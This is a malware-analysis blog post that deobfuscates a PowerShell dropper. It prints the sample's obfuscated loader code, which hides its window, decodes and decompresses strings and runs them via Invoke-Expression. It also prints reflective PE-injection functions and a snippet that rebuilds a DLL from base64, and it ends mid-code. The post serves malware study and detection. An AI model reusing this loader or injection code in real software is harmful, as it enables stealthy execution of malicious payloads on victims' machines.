Reversing Complex PowerShell Malware

In this post we’re going to analyze a multi-stage PowerShell malware, which gives us an opportunity to use our commercial PowerShell Beautifier package and its capability to replace variables.

Sample SHA2-256: 2840D561ED4F949D7D1DADD626E594B9430DEEB399DB5FF53FC0BB1AD30552AA

Interestingly, the malicious script is detected by only 6 out of 58 engines on VirusTotal.

We open the script in Cerbero Suite, decode its content and set the language to PowerShell.

We can observe that the code is obfuscated.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
# Some body fix this
$OmiltaZ = "Sh";
$OmiltaZ += "owWin";
$OmiltaZ += "dow";
$litoPicomra = "Get"
$litoPicomra += "Current"
$litoPicomra += "Process"
$ifkule = '[DllImport("user32.dll")]'
$ifkule += ' public static extern '
$ifkule += 'bool ShowWi'
$ifkule += 'ndow(int handle, int state);'
$tName = 'Add-T'
$tName += 'ype -name Win -member $i'
$tName += 'fkule -nam'
$tName += 'espace Native'
$tName | iex
$cPr = [System.Diagnostics.Process]::$litoPicomra;
$wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle
# Exceptions
[Native.Win]::$OmiltaZ.Invoke($wndHndl, 0)
#
# [operations omitted for brevity]
#
$elem41=$elem41.$dbfbda.Invoke(0,1)
$elem41=$elem41.$casda.Invoke(0,"H")
$acdukLom += $elem41
$tp= [System.IO.Compression.CompressionMode]::Decompress
$ss = "System."
$ss += "IO.Me"
$ss += "morySt"
$ss += "ream"
$ftcl = "read"
$ftcl += "toend"
foreach ($element in $acdukLom) {
$data = [System.Convert]::FromBase64String($element)
$ms = New-Object $ss
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$somObj = New-Object System.IO.Compression.GZipStream($ms, $tp)
$drD = New-Object System.IO.StreamReader($somObj)
$vVar = $drD.$ftcl.Invoke()
$dtPrEr += $vVar
}
$scriptPath = $MyInvocation.MyCommand.Path
$dtPrEr | iex
# Some body fix this $OmiltaZ = "Sh"; $OmiltaZ += "owWin"; $OmiltaZ += "dow"; $litoPicomra = "Get" $litoPicomra += "Current" $litoPicomra += "Process" $ifkule = '[DllImport("user32.dll")]' $ifkule += ' public static extern ' $ifkule += 'bool ShowWi' $ifkule += 'ndow(int handle, int state);' $tName = 'Add-T' $tName += 'ype -name Win -member $i' $tName += 'fkule -nam' $tName += 'espace Native' $tName | iex $cPr = [System.Diagnostics.Process]::$litoPicomra; $wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle # Exceptions [Native.Win]::$OmiltaZ.Invoke($wndHndl, 0) # # [operations omitted for brevity] # $elem41=$elem41.$dbfbda.Invoke(0,1) $elem41=$elem41.$casda.Invoke(0,"H") $acdukLom += $elem41 $tp= [System.IO.Compression.CompressionMode]::Decompress $ss = "System." $ss += "IO.Me" $ss += "morySt" $ss += "ream" $ftcl = "read" $ftcl += "toend" foreach ($element in $acdukLom) { $data = [System.Convert]::FromBase64String($element) $ms = New-Object $ss $ms.Write($data, 0, $data.Length) $ms.Seek(0,0) | Out-Null $somObj = New-Object System.IO.Compression.GZipStream($ms, $tp) $drD = New-Object System.IO.StreamReader($somObj) $vVar = $drD.$ftcl.Invoke() $dtPrEr += $vVar } $scriptPath = $MyInvocation.MyCommand.Path $dtPrEr | iex
# Some body fix this

$OmiltaZ = "Sh";
$OmiltaZ += "owWin";
$OmiltaZ += "dow";

$litoPicomra = "Get"
$litoPicomra += "Current"
$litoPicomra += "Process"

$ifkule = '[DllImport("user32.dll")]'
$ifkule += ' public static extern '
$ifkule += 'bool ShowWi'
$ifkule += 'ndow(int handle, int state);'
$tName = 'Add-T'
$tName += 'ype -name Win -member $i'
$tName += 'fkule -nam'
$tName += 'espace Native'
$tName | iex
$cPr = [System.Diagnostics.Process]::$litoPicomra;
$wndHndl = ($cPr.Invoke() | Get-Process).MainWindowHandle
# Exceptions
[Native.Win]::$OmiltaZ.Invoke($wndHndl, 0)

#
# [operations omitted for brevity]
#

$elem41=$elem41.$dbfbda.Invoke(0,1)
$elem41=$elem41.$casda.Invoke(0,"H")
$acdukLom += $elem41

$tp= [System.IO.Compression.CompressionMode]::Decompress

$ss = "System."
$ss += "IO.Me"
$ss += "morySt"
$ss += "ream"

$ftcl = "read"
$ftcl += "toend"

foreach ($element in $acdukLom) {
    $data = [System.Convert]::FromBase64String($element)
    $ms = New-Object $ss
    $ms.Write($data, 0, $data.Length)
    $ms.Seek(0,0) | Out-Null
    $somObj = New-Object System.IO.Compression.GZipStream($ms, $tp)
    $drD = New-Object System.IO.StreamReader($somObj)
    $vVar = $drD.$ftcl.Invoke()
    $dtPrEr += $vVar
}

$scriptPath = $MyInvocation.MyCommand.Path
$dtPrEr | iex

We launch the PowerShell Beautifier with all options enabled.

The deobfuscated code is easy to follow.

However, there is one glitch in the final loop:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$decompress = [System.IO.Compression.CompressionMode]::Decompress
foreach ($item in $var_190)
{
$from_base64_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.IO.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)
$memory_stream.Seek(0, 0) | Out-Null
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
$stream_reader = New-Object System.IO.StreamReader($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 = "" + $readtoend_result # <- here
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression
$decompress = [System.IO.Compression.CompressionMode]::Decompress foreach ($item in $var_190) { $from_base64_string_result = [System.Convert]::FromBase64String($item) $memory_stream = New-Object "System.IO.MemoryStream" $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length) $memory_stream.Seek(0, 0) | Out-Null $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress) $stream_reader = New-Object System.IO.StreamReader($gzip_stream) $readtoend_result = $stream_reader.readtoend() $var_197 = "" + $readtoend_result # <- here } $my_command._path = $MyInvocation.MyCommand.Path $var_197 | Invoke-Expression
$decompress = [System.IO.Compression.CompressionMode]::Decompress
foreach ($item in $var_190)
{
    $from_base64_string_result = [System.Convert]::FromBase64String($item)
    $memory_stream = New-Object "System.IO.MemoryStream"
    $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)
    $memory_stream.Seek(0, 0) | Out-Null
    $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
    $stream_reader = New-Object System.IO.StreamReader($gzip_stream)
    $readtoend_result = $stream_reader.readtoend()
    $var_197 = "" + $readtoend_result # <- here
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The replacement of variables ended up handling one line incorrectly. Looking back at the original code:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
$var_197 += $readtoend_result
$var_197 += $readtoend_result
$var_197 += $readtoend_result

Therefore, we can adjust the code as follows:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
var_197 = ""
$decompress = [System.IO.Compression.CompressionMode]::Decompress
foreach ($item in $var_190)
{
$from_base64_string_result = [System.Convert]::FromBase64String($item)
$memory_stream = New-Object "System.IO.MemoryStream"
$memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)
$memory_stream.Seek(0, 0) | Out-Null
$gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
$stream_reader = New-Object System.IO.StreamReader($gzip_stream)
$readtoend_result = $stream_reader.readtoend()
$var_197 += $readtoend_result
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression
var_197 = "" $decompress = [System.IO.Compression.CompressionMode]::Decompress foreach ($item in $var_190) { $from_base64_string_result = [System.Convert]::FromBase64String($item) $memory_stream = New-Object "System.IO.MemoryStream" $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length) $memory_stream.Seek(0, 0) | Out-Null $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress) $stream_reader = New-Object System.IO.StreamReader($gzip_stream) $readtoend_result = $stream_reader.readtoend() $var_197 += $readtoend_result } $my_command._path = $MyInvocation.MyCommand.Path $var_197 | Invoke-Expression
var_197 = ""
$decompress = [System.IO.Compression.CompressionMode]::Decompress
foreach ($item in $var_190)
{
    $from_base64_string_result = [System.Convert]::FromBase64String($item)
    $memory_stream = New-Object "System.IO.MemoryStream"
    $memory_stream.Write-Output($from_base64_string_result, 0, $from_base64_string_result.Length)
    $memory_stream.Seek(0, 0) | Out-Null
    $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, $decompress)
    $stream_reader = New-Object System.IO.StreamReader($gzip_stream)
    $readtoend_result = $stream_reader.readtoend()
    $var_197 += $readtoend_result
}
$my_command._path = $MyInvocation.MyCommand.Path
$var_197 | Invoke-Expression

The code creates an array of strings:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression
$get_current_process = [System.Diagnostics.Process]::GetCurrentProcess;
$var_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle
[Native.Win]::ShowWindow($var_15, 0)
$var_16 = @()
$var_26 = $var_16 + "H4sIAAAAAAA..."
'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression $get_current_process = [System.Diagnostics.Process]::GetCurrentProcess; $var_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle [Native.Win]::ShowWindow($var_15, 0) $var_16 = @() $var_26 = $var_16 + "H4sIAAAAAAA..."
'Add-Type -name Win -member $ifkule -namespace Native' | Invoke-Expression
$get_current_process = [System.Diagnostics.Process]::GetCurrentProcess;
$var_15 = ($get_current_process.Invoke() | Get-Process).MainWindowHandle
[Native.Win]::ShowWindow($var_15, 0)
$var_16 = @()
$var_26 = $var_16 + "H4sIAAAAAAA..."

It then decodes each string in the array using base64, decompresses the decoded bytes with GZip and then concatenates the end result into one string which is then passed to “Invoke-Expression”.

The following is a small Python script to perform the decoding operations.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
from Pro.GZ import *
import base64
def deobfuscate(fname):
with open(fname, "rb") as f:
data = f.read()
out = bytearray()
i = 0
while True:
i = data.find(b'"H4', i)
if i == -1:
break
e = data.find(b'"', i+3)
s = base64.b64decode(data[i+1:e])
i = e + 1
c = NTContainer()
c.setData(s)
obj = GZObject()
obj.Load(c)
r = obj.GetCompressedRange()
c = c.clone()
c.setRange(r.offset, r.size)
c = applyFilters(c, "<flts><f name='unpack/zlib' raw='true'/></flts>", False)
out += c.read(0, c.size())
with open(fname + "_output", "wb") as f:
f.write(out)
from Pro.GZ import * import base64 def deobfuscate(fname): with open(fname, "rb") as f: data = f.read() out = bytearray() i = 0 while True: i = data.find(b'"H4', i) if i == -1: break e = data.find(b'"', i+3) s = base64.b64decode(data[i+1:e]) i = e + 1 c = NTContainer() c.setData(s) obj = GZObject() obj.Load(c) r = obj.GetCompressedRange() c = c.clone() c.setRange(r.offset, r.size) c = applyFilters(c, "<flts><f name='unpack/zlib' raw='true'/></flts>", False) out += c.read(0, c.size()) with open(fname + "_output", "wb") as f: f.write(out)
from Pro.GZ import *
import base64

def deobfuscate(fname):
    with open(fname, "rb") as f:
        data = f.read()
    out = bytearray()
    i = 0
    while True:
        i = data.find(b'"H4', i)
        if i == -1:
            break
        e = data.find(b'"', i+3)
        s = base64.b64decode(data[i+1:e])
        i = e + 1
        c = NTContainer()
        c.setData(s)
        obj = GZObject()
        obj.Load(c)
        r = obj.GetCompressedRange()
        c = c.clone()
        c.setRange(r.offset, r.size)
        c = applyFilters(c, "<flts><f name='unpack/zlib' raw='true'/></flts>", False)
        out += c.read(0, c.size())
    with open(fname + "_output", "wb") as f:
        f.write(out)

The script takes as input the file name on disk of the beautified PowerShell script and writes out the result of the decoding, which is another PowerShell script.

Even though the code is obfuscated, it is clear that it injects a PE into memory. After having already observed that and extracted the PE, we figured out that probably the PowerShell injection code was lifted from the web. In fact, by searching for an error string we could find a blog post by Joe Bialek, which links to his GitHub repository.

For instance, this is a function in the malware:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
Function Copy-awgwBB
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$LdDataHpo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$ZpZeTj,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $ZpZeTj.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.tSpqDk)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.tSpqDk)
[IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-JiHDqn -DebugString "Copy-awgwBB::MarshalCopy" -ZpZeTj $ZpZeTj -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($LdDataHpo, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-HyLchV ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-JiHDqn -DebugString "Copy-awgwBB::Memset" -ZpZeTj $ZpZeTj -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Copy-awgwBB { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $LdDataHpo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $ZpZeTj, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $ZpZeTj.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.tSpqDk))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.tSpqDk) [IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-JiHDqn -DebugString "Copy-awgwBB::MarshalCopy" -ZpZeTj $ZpZeTj -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($LdDataHpo, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-HyLchV ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-JiHDqn -DebugString "Copy-awgwBB::Memset" -ZpZeTj $ZpZeTj -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } }
	Function Copy-awgwBB
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$LdDataHpo,
		
		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$ZpZeTj,
		
		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Functions,
		
		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)
		
		for( $i = 0; $i -lt $ZpZeTj.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.tSpqDk)))
			$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.tSpqDk)
		
			[IntPtr]$SectionDestAddr = [IntPtr](Add-HyLchV ([Int64]$ZpZeTj.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
			
			$SizeOfRawData = $SectionHeader.SizeOfRawData

			if ($SectionHeader.PointerToRawData -eq 0)
			{
				$SizeOfRawData = 0
			}
			
			if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
			{
				$SizeOfRawData = $SectionHeader.VirtualSize
			}
			
			if ($SizeOfRawData -gt 0)
			{
				Test-JiHDqn -DebugString "Copy-awgwBB::MarshalCopy" -ZpZeTj $ZpZeTj -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
				[System.Runtime.InteropServices.Marshal]::Copy($LdDataHpo, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
			}
		
			if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
			{
				$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
				[IntPtr]$StartAddress = [IntPtr](Add-HyLchV ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
				Test-JiHDqn -DebugString "Copy-awgwBB::Memset" -ZpZeTj $ZpZeTj -StartAddress $StartAddress -Size $Difference | Out-Null
				$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
			}
		}
	}

And this is the same function in Joe Bialek’s code:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
#Address to copy the section to
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
# in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
# SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
# so truncate SizeOfRawData to VirtualSize
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Copy-Sections { Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Types ) for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) #Address to copy the section to [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, # so truncate SizeOfRawData to VirtualSize $SizeOfRawData = $SectionHeader.SizeOfRawData if ($SectionHeader.PointerToRawData -eq 0) { $SizeOfRawData = 0 } if ($SizeOfRawData -gt $SectionHeader.VirtualSize) { $SizeOfRawData = $SectionHeader.VirtualSize } if ($SizeOfRawData -gt 0) { Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) } #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) { $Difference = $SectionHeader.VirtualSize - $SizeOfRawData [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null } } }
	Function Copy-Sections
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$PEBytes,
		
		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$PEInfo,
		
		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Functions,
		
		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)
		
		for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
			$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
		
			#Address to copy the section to
			[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
			
			#SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
			#    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
			#    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
			#    so truncate SizeOfRawData to VirtualSize
			$SizeOfRawData = $SectionHeader.SizeOfRawData

			if ($SectionHeader.PointerToRawData -eq 0)
			{
				$SizeOfRawData = 0
			}
			
			if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
			{
				$SizeOfRawData = $SectionHeader.VirtualSize
			}
			
			if ($SizeOfRawData -gt 0)
			{
				Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
				[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
			}
		
			#If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
			if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
			{
				$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
				[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
				Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
				$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
			}
		}
	}

Obfuscation aside, the functions are identical.

In the malicious script the PE is encoded using base64 strings:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
[byte[]] $mbVar
$mbVar += [System.Convert]::FromBase64String("qlqQAAMAAAAEAAAA..")
$mbVar += [System.Convert]::FromBase64String("M/9IiXtYS...")
$mbVar += [System.Convert]::FromBase64String("GBBIi/JIi+lyBU2..");
# etc.
$mbVar1 = [System.Convert]::FromBase64String("0KjYqOCo6Kg...");
$mbVar += $mbVar1
$Wzrnmd = $mbVar
$Wzrnmd[0] = 0x4d
[byte[]] $mbVar $mbVar += [System.Convert]::FromBase64String("qlqQAAMAAAAEAAAA..") $mbVar += [System.Convert]::FromBase64String("M/9IiXtYS...") $mbVar += [System.Convert]::FromBase64String("GBBIi/JIi+lyBU2.."); # etc. $mbVar1 = [System.Convert]::FromBase64String("0KjYqOCo6Kg..."); $mbVar += $mbVar1 $Wzrnmd = $mbVar $Wzrnmd[0] = 0x4d
[byte[]] $mbVar
$mbVar += [System.Convert]::FromBase64String("qlqQAAMAAAAEAAAA..")
$mbVar += [System.Convert]::FromBase64String("M/9IiXtYS...")
$mbVar += [System.Convert]::FromBase64String("GBBIi/JIi+lyBU2..");
# etc.
$mbVar1 = [System.Convert]::FromBase64String("0KjYqOCo6Kg...");
$mbVar += $mbVar1
$Wzrnmd = $mbVar

$Wzrnmd[0] = 0x4d

So the scripts decodes many base64 strings, concatenates the result and then replaces the first character of the byte array with 0x4D (which is the ‘M’ character in the “MZ” signature).

We copied the list of base64 operations to a separate file and wrote a small Python script to extract the final PE for us.

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
import base64
def deobfuscate(fname):
with open(fname, "rb") as f:
data = f.read()
out = bytearray()
i = 0
while True:
i = data.find(b'g("', i)
if i == -1:
break
e = data.find(b'"', i+3)
out += base64.b64decode(data[i+1:e])
i = e + 1
out[0] = 77
with open(fname + "_output", "wb") as f:
f.write(out)
import base64 def deobfuscate(fname): with open(fname, "rb") as f: data = f.read() out = bytearray() i = 0 while True: i = data.find(b'g("', i) if i == -1: break e = data.find(b'"', i+3) out += base64.b64decode(data[i+1:e]) i = e + 1 out[0] = 77 with open(fname + "_output", "wb") as f: f.write(out)
import base64

def deobfuscate(fname):
    with open(fname, "rb") as f:
        data = f.read()
    out = bytearray()
    i = 0
    while True:
        i = data.find(b'g("', i)
        if i == -1:
            break
        e = data.find(b'"', i+3)
        out += base64.b64decode(data[i+1:e])
        i = e + 1
    out[0] = 77
    with open(fname + "_output", "wb") as f:
        f.write(out)

Now we can analyze the injected PE (SHA2-256: 7751A09B3C1146B5DB72BE1218287DA6FD4C65813A1EB9AE5E0389DB879DAAEB).

The PowerShell scripts calls two methods in the module after it was loaded:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
if (($ZpZeTj.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
[IntPtr]$Jskadx = Get-qRdmSS -PEHandle $PEHandle -FunctionName "kDVMjxaxZYsr"
[IntPtr]$PathToSelf = Get-qRdmSS -PEHandle $PEHandle -FunctionName "setPath"
$mPth = $global:scriptPath
$scriptPathPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($mPth)
if ($Jskadx -ne [IntPtr]::Zero)
{
$VoidFuncDelegate = Get-yMmHLP @() ([Bool])
$VoidFunc = $tVar::$pName.Invoke($Jskadx, $VoidFuncDelegate)
$VoidSelfDelegate = Get-yMmHLP @([IntPtr]) ([Bool])
$VoidSelf = $tVar::$pName.Invoke($PathToSelf, $VoidSelfDelegate)
